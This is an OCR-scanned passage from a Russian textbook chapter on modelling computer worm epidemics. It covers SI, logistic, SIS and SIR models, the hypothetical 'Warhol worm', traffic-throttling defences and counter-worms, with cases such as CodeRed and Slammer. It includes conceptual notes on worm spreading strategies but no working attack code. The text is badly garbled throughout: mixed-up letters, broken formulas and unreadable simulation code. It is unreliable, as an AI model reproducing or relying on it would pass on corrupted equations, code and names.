об имени файла запускаемого приложения, о его рабочем катало- 
ге, а также могут располагаться текстм конфигурационннх файлов 
«А1ГГОЕХЕС.ВАТ» и «СОНҒ1С.8У8>, формируюших для прило- 
жения комфортную системную среду. Масса возможностей для зло- 
употреблений! Можно поменять имя приложения, тогда запустится 
совсем не та программа. Можно подсунуть вместо «АОТОЕХЕС. 
ВАТ» саморазмножакяцийся ВАТ-вирус. Можно сделать массу про- 
чих «подлянок». Но Р1Ғ-форматн для разньк версий \¥1п(1о\у8 плохо 
совместимн друг с другом. Вот почему с машинн на машину Р1Ғ- 
файлн практически не передаются, и подобннх вирусов сушествует 
очень немного -  их можно пересчитать по пальцам одной руки.

Все приведеннне примерн -  убедительная иллюстрация «везде- 
сувдности» вирусов, не правда ли?

7.3. Распространение вирусов
...0 возникновении эпидемий от мелких, неза- 
метиьос глазу червей, разносимих ветром и 
водой...

А. и Б. Стругацкие. «Трудно бить богом»

Внпувденньш на свободу вирус склонен к неконтролируемому раз- 
множению, к использованию всевозможннх вьхчислительннх ресур- 
сов вплоть до полного их исчерпания. В этом смьгсле вирус подобен 
пожару.

Но ведь пожар пожару рознь. В сухой степи иламя идет стеной, 
уничтожая на своем пути все живое, -  и только пушенннй навстречу 
другой огненннй вал способен остановить пожар. Наоборот, внсох- 
ший торф долго и незаметно тлеет под землей, и погасить огонь мож- 
но, только внливая сверху на горяший участок огромнне массн водн.

К компьютерннм «пожарам» тоже нужен индивидуальннй подход. 
Поэтому важно представлять себе, как распространяется компьютер- 
ная «зараза» различннх типов [47, 48].

7.3.1. Эпидемии сетевмх червей
Самне крупнне и бнстроразвиваюшиеся эпидемии вьхзнваются се- 
тевнми интернет-червями. Червь такого типа способен атаковать 
любой компьютер, имеюший собственннй 1 Р-адрес, вне завнсимости 
от его географического местоположения. Этой ситуации соответству-



ет модель в виде иполного* (или *гомогенного>) графа, каждмй узел 
которого связан со всеми остальньши. Такой граф из N  узлов имеет 
Д?(Д?- 1 ) / 2  ребер, причем степень (количество «соседей») для каждо- 
го узла равна ЛГ— 1 .
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Рис. 7.11 ❖ «Каждуй с каждум» -  
граф гомогенной сети

Личний горький опьгг подсказнвает нам, что сетевне эпидемии 
вспькивают внезапно и развиваются стремительно. «Острая фаза» 
длится от нескольких дней до нескольких недель, за это время за- 
раженннми оказнваются сотни тисяч компьютеров. Но и в течение 
многих месяцев после того, как эпидемия идет на спад, опасность за- 
разиться червем, внзвавшим ее, остается вполне реальной. Какие же 
факторн влияют на распространение «заразн»?

Разумеется, полннми и точннми сведениями о протекании по- 
добнмх эпидемий не обладает никто на свете, слишком уж сложная 
и большая система -  Интернет. Но об этих процессах можно судить 
косвенно, зарегистрировав характеристики трафика в каком-нибудь 
сегменте Всемирной паутинь1 и проэкстраполировав полученнне све- 
дения на всю сеть. В частности, большим доверием у мировой компью- 
терной обшественности пользуются результатн исследований, вн- 
полняемнх некоммерческой организацией САША -  Соорегайуе 
А550с1аИоп £ог 1п1егпе1 ОаСа Апа1у515, чьи добровольнне корреспон- 
дента живут и работают во всех уголках мира. Широко известен 
также «интернет-телескоп» Израильского университета (ШСС/ГОС 
[птегпе^ Те1езсоре). Кроме того, каждая крупная антивирусная компа- 
ния имеет свою систему наблюдения, например в виде нескольких де- 
сятков или сотен разбросанннх по всему мир\7 «медовнх горшочков» 
(копеуро1) -  слабо зашишенннх компьютеров, снабженннх мовднн- 
ми системами обнаружения и анализа вторжений. Иногда бнвает до- 
статочно и статистики, регистрируемой в единственной точке, распо- 
ложенной на «людной улице», -  так, ряд крупннх работ по изучению 
сетевнх эпидемий бнл внполнен на основании наблюдений за сер-
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верами СЬет1са1 АЬзЬгасС З е т с е . Наконец, можно просто построить 
«игрушечную» сеть из нескольких десятков виртуальнмх машин, за- 
пустить в нее червя и наблюдать за его поведением, -  как поступили 
во ВлГУ (Ю. М. Монахов и др. [24]).

Наблюдения за сетевьш трафиком позволили сделать вьгвод о том, 
что распространение «заразм» по компьютерньш сетям очень напо- 
минает развитие эпидемий и эпизоотий в живой природе -  например, 
гриппа среди людей или яшура среди коров. Соответственно, для их 
исследования можно применять ряд хорошо известннх в социологии, 
биологии и медицине классических моделей.

73.1.1. Простая 51-модель экспоненциалъного 
размножения
В этой модели предполагается, что каждмй компьютер может на- 

ходиться в одном из двух состояний:
О  5 (5изсерИЪ1е) -  здоровнй и восприимчивьш к заражению;
О I (1п£есге<1) — зараженннй.
Смена состояний возможна лишь в одном направлении -  от 5 к I.

Пусть в начальньш момент времени ?0 = 0 н сети размером N  при- 
сутствуют / ( 0 ) = / 0 зараженннх компьютеров, и пусть кажднй из них 
в единицу времени производит р успешнмх попнток размножения. 
Следовательно, в момент времени = 1 появятся / 0 х р новнх зара- 
женньк компьютеров, а обшее их количество составит / ( 1 ) = /( 0 ) + 
+ / 0 х Р = /0(1 + Р) штук. Легко получить обшую формулу, описнваю- 
вдую динамику размножения червей: 1(1) = ( 1  + р)г.

Более удобен способ описания динамики размножения в виде диф- 
ференциальннх уравнений [2]. Правда, при этом приходится исполь- 
зовать ряд упрошений: 1 ) время считать непрермвньш; 2 ) отказаться 
от целочисленного характера итоговнх формул1. В результате итого- 
вне формулн будут лишь приближенно описнвать динамику разви- 
тия эпидемий, но на это можно закрнть глаза. Итак, предположив, что

1 Если решать уравиения в целих чнслах, то на графиках появятся «колеба- 
ния» и «осцилляции».

Рис. 7 .12  ❖ Смена состояний 
в простой 51-модели
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на бесконечно малом интервале времени М  —» 0  количество заражен- 
ннх компьютеров растет линейно с коэффициентом пропорциональ- 
ности [3, составимэлементарное прирашение Д /- 1(( + А() - 1(() = [/(0  
+ 0/(ОД/] - 1(1) *= $!(()&£ и получим дифференциальное уравнение

Л  М
приближенно описьтаювдее динамику развития эпидемии в услови- 
ях простой 51-модели. Как его решать?

Во-первьгх, сушествуют аналитические способьг, которне сразу 
дают точное решение:
1(() = / 0 х ехр((30.

Во-вторнх, можно получить численное решение уравнения, ис- 
пользовав, например, хорошо известньш метод Эйлера:
Згер=1; I = 10; 1=0; 
мНИе (1 ) {

р П п г г ( " \ п г * « < (  1 = М " ,  г++ . 1>«?М: I ) ;

И 1 (1>=Ю Ьгеак;
1 = 1 + 8 1 е р » В в « » 1 ;  / /  Л ринцип : Х ( 1 + 1 ) :=  Х (Д )  + В э г * Ғ ( Х ( 1 »

)
Наконец, неплохие результатн дают методн имитационного мо- 

делирования. Заведите массив из N  ячеек и в цикле воспроизведите 
поведение популяции вирусов, продвигая вперед дискретное время 
и помечая ячейки в соответствии с теми или иньши правилами раз- 
вития эпиде\ши. Например, так:
1:=0; 1Г=0;

Гог (1=0;1 <И;1 ++) ^ЕТ[1]=5ТАТЕ_8;
Гог ( 1 =0; К Ю ; 1++) НЕТ[1]=8ТАТЕ_1; 
мИ11е (1) {
5шп=0; Гог Ц=0;К>и++) 1 Г (МЕТ[1]==$ТАТЕ_1) 8иш++ 
рг1пгГ(''\п1:=%й 1-%й", г++. 8ии);
1 Г (т==-1) Ьгеак;
Ш  (1=0; К8иш; 1++)
Гог ( 1=0. ]<Ве1а,]++) {
|л=-11 гог (К=0; к<М; к++) 1Т (МЕТ[к] ==ЗТАТЕ_8) т=к;
1Т (т!= -1 ; НЕТ[т]=5ТАТЕ_1;

>
}

Кстати, имейте в виду, что имитационнне экспериментн нужно 
повторять многократно с разньтми «затравками», а затем усреднять 
результатн.

/ /  Очистить сеть 
/ /  Пометить 10 больнмх

; / /  Скольио больнмх?

/ /  Конец иоделироеания 
/ /  Для каждого больного 
/ /  . . .  В ей  р а з  .

/ /  .нэйти здорового..■ 
/ /  . . .и эзразить его
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В любом случае получается экспонента, графики которой для 10 = 1, 
Р = 2 , 100 изображенмна рис. 7.13 под номером (1). Первмй вари-
анткривой соответствует аналитическому решению, второй -  резуль- 
татам однократного имитационного эксперимента. Легко убедиться, 
насколько они близки друг к другу.

Рис. 7.13 ❖ Кривие размножения мобильних агентов 
(1 -  экспоненциальная 31-модельМальтуса;

2 -  логистическая 51-модель Фергюльста; 3 -  515-модель;
4 -  51В-модель Кермака-Маккендрика);

а) гладкие решения дифференциальнихуравнений; 
б) осциллируюшие результать) имитационнмх экспериментов

Стремительное развитие эпидемии по экспоненте соответству- 
ет идеальному случаю, когда каждая попмтка размножиться гаран- 
тированно приводит к успеху. Подобнме простме модели в конце 
XVIII века рассматривал Т. Мальтус, пмтаясь обосновать неизбежное 
и скорое перенаселение Земли человеческой попудяцией. Известно, 
что реальнме значения Р для сетевмх червей лежат в интервале от 
одной копии за несколько секунд до нескольких копий в секунду.
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Расчетм показнвают, что единственньш экземпляр червя, создавая 
в секунду одну собственную копию, полностью заражает адресное 
пространство из N  = 232 = 4 млрд узлов всего за... 22 секундн! Ну, 
в соответствии с более точной оценкой по формуле 1(1) — ( 1  + РУ по- 
требуется несколько больший срок -  полминутн. Впрочем, разница 
невелика, не так ли?

Возможно ли такое на практике?
В 2002 году Н. Уивер, исследователь из университета Беркли 

(США), рассмотрел концепцию гипотетического червя, которнй 
в любой момент времени атакует только восприимчивне к зараже- 
нию компьютерн и поэтому размножается именно по экспоненте [71, 
72]. Это возможно, если:

О или экземплярн червя обмениваются друг с другом списками 
ранее зараженннх адресов;

О или экземплярн червя используют для размножения непере- 
секаюшиеся фрагментн адресного пространства.

Первнй подход нереалистичен, зато последний вполне может бнть 
реализован следуювдим образом. Пусть кажднй экземпляр червя, раз- 
множившись, делит адресное пространство пополам. В первой поло- 
вине он продолжает размножаться сам, а «второе полцарства» отдает 
в наследство своей копии. Следуюший акт размножения приведет к 
новому делению фрагментов адресного пространства и т. д., пока весь 
Интернет не окажется зараженннм.

Н. Уивер предположил, что на практике вряд ли все бмвает настоль- 
ко идеально, и изучил поведение некоего «субоптимального» червя, 
которьш внполняет всего несколько размножений в минуту, полови- 
ну времени расснлается по заранее составленному списку уязвимнх 
машин (ЬкНя!:) и лишь потом работает по «бнстрому» алгоритму ска- 
нирования адресного пространства, причем находит и успешно инфи- 
цирует систему только в 25% случаев. Тем не менее, согласно расчетам, 
вся уязвимая часть Интернета оказалась бн зараженной этим червем 
всего за четверть часа. «В будушем каждьш получит свой шанс на 
15 минут славн», -  сказал однаждн (по друтому поводу) Энди Уор- 
хол, знаменитай американский фотохудожник. Именно эту цитату 
Н. Уивер вннес в эпиграф статьи, посвяшенной из)гчению свойств 
своего «суперчервя». С тех пор гипотетические черви, ведушие себя 
подобннм образом, так и назнваются -  терви Уорхола» (или «блиц- 
крш-череи»). Имейте в виду, сам Энди Уорхол, умерший в конце 
1980-х годов, никаких червей никогда не писал!
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К счастью, подобнмх червей вообвде пока не сушествует. Реальнме 
черви используют совсем другие, более простме стратегии размно- 
жения.

7.3.12. 81-модель размножения в условиях 
ограниченности ресурсов
Реальнне интернет-черви (^еЬ-^Уогт.^УпШ.Со^еКес], N€1-

\¥огт .\У т32 .51аттег  и многие другие) используют случайную 
стратегию поиска целей для заражения. В этой ситуации неминуем 
определенньга процент «холостой» работн, когда червь напрасно тра- 
тит время на попьггки заражения ранее уже зараженного узла. И этот 
процент все возрастает по мере развития эпидемии и уменьшения 
доли восприимчивмх узлов.

Формально это означает, что вероятность успешного размноже- 
ния червя составляет всего лишь Р(() = = 1 -  1(1)/И, где N  -
полное количество, 1(1) -  количество зараженнмх, а 5(1) = N  -1(1) — 
количество здоровмх, но восприимчивмх к заражению узлов сети. 
Тогда приравдение количества червей на бесконечно малом интер- 
вале времени составит ДI  = /(£)|3(1 -  1(()/И)А1, а дифференциальное 
уравнение, приближенно описмваювдее динамику эпидемии, запи- 
шется так:

/

©
Рис. 7.14 ❖ Смена состояний 
в 31-модели с ограничением 

ресурсов

^  = р /(г ) -Э /2(0 / ^ .ат
Решение этого уравнения, впервме рассмотренного в середине 

XIX века П. Ф. Фергюльстом, вмглядит следуювдим образом:
1
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Здесь константа С =  1п( — -------— ) позволяет учесть начальное у с -
Р 4  ЛГ

ловие /(0) = /0. То естъ здесь и далее константа С является коэффи- 
циентом, «настраиваюшим» уравнение на конкретнме / 0 и N. График 
функции /(£) -  так назьгеаемая «логистическая кривая», которая на 
начальном этапе ведет себя подобно экспоненте, но потом замедля- 
ет рост и при £ —> стремится к асимптоте Дл. На рис. 7.13 вариан- 
ти этой кривой изображенм под номером (2). Таким образом, при 
больших размерах сети всегда присутствует небольшое количество 
узлов, остаюшихся в незараженном состоянии неопределенно долгое 
время.

То, что эта модель соответствует действительности, можно прове- 
рить, сравнив вид изображеннмх вьше кривнх (2 ) с графиком разви- 
тия эпидемии червя № £-\Уогт.\Ут32.Со<1еКес1.Ь, которнй построен 
по данньш, зарегистрированннм 19-20 августа 2001 года участника- 
ми проекта САША.

400000

350000
300000
250000
200000
150000

100000
50000

00 00

Рис. 7.15 ❖ Динамика размножения 
червя Сойейес! II

Параметрическая идентификация этой модели (то есть подбор пара- 
метров под реальнне даннме) дает следуклцие значения: N  ~ 350 000, 
(3 = 1.5+2, /0 = 1. Кстати, через некоторое время № 4-\У о гт.\У т32 . 
Сос1сКес1.Ь самоуничтожился, так что «интересной борьбн» с ним не 
получилось.

1 В достугшой литературе, как правило, исследуется поведение отношения 
/(0./Л'. поэтому кривьге асимптотически стремятся к 1.
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7.3.1.3. 818-моделъ примитивиого противодействия
Компьютернме эпидемии редко протекают бессимптомно. В ре- 

зультате даже при отсутствии эффективного антивируса пользовате- 
ли все равно замечают неладное и пнтаются бороться с «болезнью». 
Например, удаляют •«заразу» с компьютера вручную, как мн это де- 
лали в главе, посвяшенной изучению сетевнх червей. А для червей 
типа № £ '\¥ о гт .\У т3 2 .5 1 а т т е г  или ^е1-\Уогт.Ш т32.Со<1еКе<1 
достаточно просто перезагрузить машину, и вредоносная програм- 
ма, сушествуюшая только в памяти, пошбнет. Но в результате этих 
действий иммунитета против «заразн» у компьютера не появится, 
и следуюшее заражение может состояться буквально через секунду 
после «излечения». В живой природе тоже так бнвает. Например, у 
человека, переболевшего гонореей, не внрабатнвается никакого им- 
мунитета.

Подобньга сценарий для мира компьютерннх сетей описьхвается 
515-моделью, в соответствии с которой предполагается, что:

О заражение внполняется червем, ишушим цели случайннм об-

О удаление червя производится «адресно», то есть только для тех 
машин, где червь реально присутствует.

Таким образом, возможен переход как из состояния 5 в I, так и на- 
оборот.

В результате размножение червя происходит «логистически» с ко- 
эффициентом Р, а удаление -  ■«экспоненциально» с коэффициентом 
у эхсземпляров в единицу времени. Динамика эпидемии описнвается 
дифференциальннм уравнением

разом;

Рис. 7.16 ❖ Смена состояний 
в 513-модели

имеюшим решение 
Э-У
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1 В у 6где константа С =----   1п(—--- -------—) позволяет удовлетворить на-
У - Р  4  / о  N

чальному условию 1(0) = /0. Понятно, что при у > р эпидемия просто 
не возникнет. В противном случае график функции 1(() по-прежнему 
представляет собой «логистическую» кривую, которая при I —> °° 
стремится не N. а к асимптоте (1 -  у/р) х N  (см. рис.. 7.13). Таким об- 
разом, «судьба» эпидемии зависит от соотношения р = у/р. Величину 
р0, характеризуювдую границу между ситуациями «эпидемия возни- 
кает» и «эгшдемия невозможна», назнвают элидемтеским порогом.

Таким образом, чем бмстрее и чавде пользователи удаляют червей 
со своих компьютеров, тем больше шансов обуздать эпидемию. А вам 
слабо вручную «чистить» компьютерм со скоростью хотя бн по шту- 
ке в секунду?

7.3.1.4. 81К-модель квалифицированной борьби
Для того чтобн реально справиться с эпидемией, нужно после из- 

лечения компьютера от «заразн» тем или иннм образом обеспечить 
ему иммунитет против следуювдих заражений. Лучше всего поста- 
вить «заплатку>>, закрмваювдую уязвимость. Но можно и просто за- 
блокировать нежелательньш трафик при мовди файрволла (бранд- 
мауэра).

Для того чтобн описать соответствуювдую модель борьбн с сетевой 
эпидемией, кроме двух состояний 5 и I, необходимо ввести третье -  
К (Кепюуес!), соответствуювдее компьютеру, которнй не только «здо- 
ров», но и невосприимчив к «заразе». Разумеется, 5 + I + К = N. Пред- 
полагается, что:

О заражение внполняется червем, ивдувдим цели случайньш об- 
разом;

О удаление червя производится «адресно>, то есть только для тех 
машин, где червь реально присутствует;

О после «исцеления» узел сети переходит в невосприимчивое со- 
стояние.

Рис. 7 .17  ❖ Смена состояний 
в 81П-модели

Эту модель борьбн с эпидемией невозможно описать в виде един- 
ственного дифференциального уравнения, приходится рассматри-
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вать их систему, впервие предложенную и изученную в 1927 году
В. О. Кермаком (Кегшаск) и А. Г. МакКендриком (МсКепйпск):

< > т _ т1г1 х - т - т )
 N Г " <()'

*№(0.—,Г/*\

Система не имеет аналитического решения, поэтому приходится 
довольствоваться численннм приближением. Эпидемия возникает 
лишь при условии у < Р, то есть эпидемический порог р0 = 1. В этом 
случае 1(1) сначала некоторое время возрастает по «логистическому» 
закону. достигает своего максимума, а потом стремится к 0 -  см. на 
рис. 7.13 кривне под номером (4).

Адекватна ли эта модель? Судите сами: вот количество атак на 
порт 445, связанннх с деятельностью червя №Ь-\У0гт.\Ут32.В020- 
п  и зарегистрированннх на протяжении лета 2005 -  зимн 2006 го- 
да участниками некоммерческого проекта ВЗШеМ (рисунок не- 
сколько видоизменен для публикации). На этом рисунке уровень 
40 000 000 атак -  это фоновое значение, генерируемое другими типа- 
ми червей и случайньш трафиком, а все превмшения характеризуют 
действие червя.

11000000 
10000000 
09000000 
08000000 
07000000 
06000000 
05000000 
04000000 
03000000 
02000000 
01000000 
00000000

06.07.05 21.08.05 04.10.05 17.11.05 31.12.05 13.02.05

Рис. 7.18 ❖ Сетевой трафикчерез порт 445 
во время эпидемии червя Вогоп

Таким образом, в условиях 31К.-модели победа над червем дости- 
гается в любом случае. Сроки этого собьттия зависят от соотношения 
у/р. На величину Р рядовьш пользователям повлиять сложно, а вот 
увеличить у вполне реально, если всем миром как можно бнстрее



Распространение вирусов ❖ 519

скачивать и устанавливать «заплатки». Впрочем, далеко не все поль- 
зователи торопятся приближать победу. Так, по материалам САГОА, 
по истечении первого месяца после активации № 1-\Уогт.\Ут32. 
Со<!еКес1 доля «пропатченньгх» операционннх систем составила: 
в Великобритании -  65%, в США -  60%, на Тайване -  15%, а в Ки- 
тае -  только 13%.

7.3.1.5. Прочие модели эпидемий
Разумеется, любне модели лишь приблизительно описьшают ди- 

намику эпидемий, слишком уж много разнообразнмх факторов влия- 
ют на распространение червей по сети. Причем нередко эти факторм 
действуют в противоположнмх направлениях. Вот некоторие из них:

О по мере развития эпидемии возрастает сетевой трафик, снижа- 
ется пропускная способность линий связи и падает значение 
коэффициента 3 ;

О эффективньге антивнруснне средства разрабатнваются и на- 
чинают работу с задержкой в несколько часов нли суток, соот- 
ветственно на разньгх этапах развития эпидемии применимм 
разнме модели;

О имеется прирост числа N  за счет машин, вновь подютючаеммх 
к сети;

О с другой сторонн, наблюдается уменьшение Л^за счет отключе- 
ния перегруженннх хостов и серверов;

О величина Л^изменяется в зависимости от времени суток по си- 
нусоиде -  днем возрастает, ночью падает;

О определенная часть машин содержит «врожденннй» иммуни- 
тет (например, за счет использования незнакомнх червю вер- 
сий операционной системн);

О зато другая часть уязвимнх машин по разньши причинам прос- 
то никогда не вакцинируется вообше и, будучи зараженной, 
продолжает продолжительное время -«фонить»;

О имеет место неоднородность пространства 1Р-адресов.
К настоя1цему моменту разработано большое количество разно- 

образнмх моделей, пнтаюшихся учесть влияние этих факторов. Боль- 
шинство из них являются обобшениями и дополнениями 5№-модели 
Кермака-МакКендрика. Вот некоторне, наиболее популярнме среди 
вирусологов модели.

5ЕШ-модель индийца \71Уек Китаг 5еЬ§а1 [58] пнтается учесть на- 
личие долговременно действуюших экземпляров вируса следуюшим 
образом: с довольно малой, но ненулевой вероятностью Р в момент
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инфицирования машина переходит не в состояние I, а в альтернатив- 
ное состояние Е (Ехрозей), причем скорость 8  перехода из состояния 
Е в состояние К. невелика. Таким образом, все множество инфици- 
рованнмх машин разбивается в ходе эпидемии на два класса: 1 ) те, 
которне оперативно исцеляются и вакцинируются; 2 ) те, которне 
продолжают потихоньку рассьшать по миру «заразу» в течение мно- 
гах месяцев и даже лет. Довольно реалистичная ситуация, не так ли?

«Прогрессивная» 5ГОК-модель (Р5ГОК), разработаннаяХ ЕеуеЛ1е 
из Н Р ВпзСо1 [48,73], учитнвает два обстоятельства: 1) на раннем эта- 
пе развития эпидемии, продолжительность которого п единиц време- 
ни, действует классическая 31-модель; 2 ) дальнейшее развитие эпи- 
демии описьхвается при помохци введения, кроме состояний 5 ,1 и К, 
дополнительного состояния I) (Ве(:ес1ес1), в которое переходит узел, 
когда наличие червя уже обнаружено, но активное противодействие 
евде не началось. Заражение и излечение узлов сети вмполняются по- 
прежнему со средними скоростями Э и у, а переход из состояния I 
в «промежуточное» состояние Б  -  со скоростью ц }'злов в единицу 
времени.

«Двухфакторная» модель [76], предложенная группой авторов из 
МТИ ( 2 Ь о л у , Соп£, То\¥з1еу и др.), не вводит никаких дополнитель- 
нмх состояний, по сравнению с. классической 51К-моделью, зато 
учитьхвает не только процесс противодействия «заразе» (первнй 
фактор), но и непостоянство скорости размножения р (второй фак- 
тор), внзванное перегрузкой линий связи. В различньхх вариантах 
этой модели принимают либо (З(̂ ) = К$КГК ' , где 0 < К<  1 , либо до- 
бавляют к системе дифференциальное уравнение вида Р(г) = Р0( 1 -  
-  1(1))'', где Г| -  некий параметр, позволяюший «настроить» закон 
поведения р.

Ряд моделей учитнвают также неравномерность распределения 
узлов в сети. В 2006 г. группой исследователей из университета Юж- 
ной Калифорнии (Ю. Прядхсин и ]. Нехс1етапп) бнл проведен экс- 
перимент по «пингованию» всего Интернета [56]. Интересно, что 
61% адресов так и не откликнулись на 1СМР-запросн. Разумеется, 
ситуация постоянно меняется и зависит от географического поло- 
жения сегментов сети, сезона, времени суток, настроек безопасности 
и т. п. Но в обшем типичная карта науг ад внбранного сегмента де- 
монстрирует группирование «живнх> адресов в определенннх зо- 
нах. А гистограмма распределения длин непрернвннх участков при 
этом иллюстрирует превалирование коротких цепочек длиной всего 
2н-10 адресов (см. рис. 7.19).
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а б

Рис. 7.19 ❖ Неравномерность «живмх» 1Р-адресов 
в сегментах Интернета: а) типичная «карта» сегмента: 

б) типичная гистограмма распределения длин непреривнмх цепочек

Это обстоятельство хорошо известно вирусописателям, поэтому 
некоторне сетевне черви используют для поиска целей принцип 
«сканирования локалъной подсети» (или просто «локалъного сканиро- 
вания»). Основная идея очень напоминает методику игрн в «морской 
бой»; в Интернете случайннм образом внбирается 1Р-адрес (напри- 
мер, А), и если соответствуюший узел сети откликнулся, то заодно 
сканируются и заражаются его окрестности (с адресами А+1, А-1, 
А+2, А-2 и т. п.), до тех пор пока весь «корабль» не будет «потоплен». 
Затем опять происходит переход к случайной «стрельбе». Нечто по- 
добное демонстрировал, например, червь № 1-\Уогт.\¥т32.Ьоуе$ап: 
с вероятностью 0.6 искал в сети случайньга базовьга 1Р-адрес вида 
ААА.ВВВ.ССС.О, а с вероятностью 0.4 «обрабатнвал» окрестности 
этого адреса.

Модельнне экспериментн, проведеннне разньши коллективами 
исследователей, не вьмвили никаких принципиальннх отличий в раз- 
витии эпидемии таких червей, по сравнению с «традиционннми».

7.3.1.6. Моделирование мер пассивного 
противодействия
Экспериментн с классическими моделями распространения чер- 

вей натолкнули исследователей на идею «пассивннх» мер противо- 
действия эпидемиям. Наиболее обвдий подход заключается в авто-
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матическом ограничении и даже полном блокировании трафика, 
исходятего из зараженного узла сети. Эта задача должна решаться 
межсетевмми экранами. Моделирование показало, что подобнме 
мерм действительно способнм на порядок уменьшить скорость раз- 
вития сетевмх эпидемий. Но как отличить зараженнмй узел от здо- 
рового?

Например, в соответствии с предложением М. Вильямсона (\¥П- 
Иатзоп) считать зараженньш узлом можно тот, которнй в единицу 
времени пнтается вмполнить слишком большое количество соеди- 
нений с разнмми адресами [73]. Контроль за «болтунами» можно 
организовать в форме некой квотьх на уникальнне соединения, вн- 
деляемой каждому узлу. При установлении узлом соединения с 1Р- 
адресом, ранее не встречавшимся в списке, из квотм вьтаитается 
единица, по достижении нуля любне новне соединения просто бло- 
кируются. И наоборот, если узел долгое время не совершал уникаль- 
ннх соединений, то «единички» потихоньку будут ему добавляться. 
Надо отметить, что хотя эта идея и внглядит работоспособной для 
обьтчннх хостов, к серверам ее, по-видимому, применять нельзя.

Другая идея принадлежит группе исследователей (5сЬесЬ[ег,[ипд, 
Вег§ег и др.), которне предложили считать зараженньш узлом тот, 
которьш пнтается совершить слишком много неудачннх соединений, 
например с «мертвнми» адресами [57].

Впрочем, все эти идеи так и остались на страницах статей и книг.

7.3.1.7. Моделирование «контрчервя»■
Довольно плодотворной представляется идея использования в ка- 

честве средства борьбн с интернет-червями других червей, наделен- 
ннх антивирусньш функционалом. Ведь «контрчервь» -  это очень 
просто: запустил его в Интернет и сиди, жди наступления оконча- 
тельной и бесповоротной победн над эпидемией другого, «плохого» 
червя. Через некоторое время, когда победа будет достигнута, «контр- 
червь» просто самоликвидируется, и все на этом.

Попьггок использовать такой подход на практике бьшо несколь- 
ко. Например, для борьбн с Ке1-\Уогт.\¥1п32.Со(1сКед.Ь планиро- 
валось использовать «контрчервей» № )> \¥о гт.\У т32 .С о (кС гееп  
и ^еЬ-^Уогт.Ш тЗ^.СКскап, написанннх некими Вег НехХег и 
Магкиз Кегп соответственно. Однако эти «лечебнне пиявки» сувдест- 
вовалн только в виде исходннх текстов и никакой роли в борьбе 
с №1>\Уот1.\Ут32.Со<1е11е<1.Ъ не снграли. Зато «контрчервь» N61- 
\\7о г т  .\¥ т 3 2  .\Уе1сЬ1а довольно активно поучаствовал в подавлении
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Рис. 7 .20  ❖ Подавление червем \Л/е1сИ1а 
эпидемии червя В1аз1ег

эпидемии червя № 1-\Уогт.\У1п32Хоуе8ап. Хорошо это у него полу- 
чилось или нет, судите сами (по материалам от Тгепс1М1сго).

Можно упомянуть также «войни» червей друг против друга, при- 
мером которнх могут служить сложнне взаимоотношения между 
семействами №£-\Уогт.Ва£1е и №£-\Уогт.МеЬ8ку, жертвами чего 
стали заодно № 1-\Уогт.Му<1оо1п и ^ е1-\У о гт .М ш 1аЦ. Впрочем, все 
они распространялись через электронную почту, а в этом случае при- 
менимн несколько другие модели развития и подавления эпидемий.

Интереснне собьггия произошли весной 2011 г.: эпидемия старин- 
ного червя Не4-\Уогт.51аттег, потихоньку тлевшая в течение 8 лет 
в укромннх уголках Интернета, вдруг практически мгновенно (в те- 
чение суток!) прекратилась. Некоторне специалистн связнвают «вн- 
мирание» №<;-\1Ъпп.8 1а1птег с деятельностью какого-то контрчервя, 
которьга произвел целенаправленную атаку на противника и само- 
уничтожился. Правда, в «альтруизм» неизвестного вирусописателя 
плохо верится. Скорее всего, имела место «зачистка территории» со 
сторонн «конкурента». Кстати, если «контрчервь» не вакцинировал 
серверн, а «зачистка» Интернета бнла неполной, то через некоторое 
время ^еЬ-^Уопп.ЗЬттег частично восстановит утраченнне пози- 
ции. Проверим1?

Как би то ни бнло, «контрчерви» вполне могут рассматриваться в 
качестве оружия против сетевнх эпидемий. Вирусологами-исследо- 
вателями (например, 5. ТапасЬа1т \у а 1  из Университета Южной Ка-

’ Как вняснилось через несколько месяцев, мменно это и произошло!
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лифорнии [67] или 2. М. Тапшш из Арабо-американского универси- 
тета в Палестине [6 8 ]) разработано и изучено немало разновидностей 
«контрчевей». Давайте перечислим наиболее типичнне стратегии по- 
ведения, из которнх складнвается «характер» того или иного гипоте- 
тического или реального «контрчервя».

Стратегии поиска целей для размножения:
О  А (асИуе) -  активно сканирует адресное пространство, напри- 

мер случайннм образом;
О  Р (разз1\7е) -  пассивно ждет попнтки нападения с другого узла 

сети и только тогда «контратакует».
Стратегии размножения:
О 5 (кизсериМе) -  заражает «здоровне» машинн;
О I (т£ес£ес1) -  заражает машинн, на которнх присутствует «пло- 

хой» червь.
Стратегии борьбн с «плохим» червем:
О  К (гегпоуе) -  удаляет «плохого» червя с машинн;
О V (\гасслпаГ.е) -  <<вакцинирует» машину, делая ее невосприим- 

чивой для дальнейших заражений.

Рис. 7.21 ❖ Классификация 
стратегий поведения «контрчервей»

В соответствии с этой классификацией харакгер поведения «контр- 
червей» ^е1-\Уогт.\\1п32.Со<1еСгееп и №4-\Уогт.\Ут32.\Уе1с1на
может бнть описан как «А51КУ», а ^е^-^Уогт.^УшЗ^.Сгскап -  как 
«РШУ». Бродят слухи, что в недрах исследовательских центров 
Мкго8о& активно изучаются и, возможно, даже готовятся к внедре- 
нию схемн «АКУ» и «РКУ» [70].

Все модели «контрчервей» являются обобшениями рассмотрен- 
ннх внше классических 51К- и 515-моделей. При этом состояние К
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соответствует узлу сети, зараженному, вьшеченному и вакцинирован- 
ному «контрчервем». Вот некоторме модели «контрчервей»1.

«А5ШУ-контрчервь» активно сканирует адресное пространство. 
заражая все, что возможно. Узлн, ранее зараженнме «плохим» червем, 
он лечит и вакцинирует. Здесь и далее предполагается, что 10’цЯ0=1. 
Соответствуювдая система дифференциальннх уравнений:

Ф М Ч ® }
т , П1^ ! м -т ) . т у , т

Л  { N  } N
«РI К.У-контрчервь» ждет попмтки нападения со сторонн узла се- 

ти, зараженного «плохим» червем, копируется туда, удаляет «сопер- 
ника» и вакцинирует систему. Этому червю соответствует система:

ш N

«АРЗШУ-контрчервь» реализует комбинацию всевозможннх 
стратегий поиска цели, заражения и противодействия «плохому» 
червю, включая активньш поиск и «контратаку». Система дифферен- 
циальннх уравнений будет внглядеть так:

Обьтчно предполагается, что «контрчервь» является специально 
модифицированной вирусологами разновидностью «плохого»- червя, 
при этом Р *= у. Но часто интересует и более «тяжелое» течение эпи- 
демий, когда Р > у. Вот результать1 моделирования для (5 = 2, у = 1, 
N  =  100. Под номером (1) приводится кривая поведения «плохого» 
червя для классической 51К-модели Кермака-МакКендрика, а номе- 
ра (2), (3) и (4) характеризуют результатн воздействия на него со сто- 
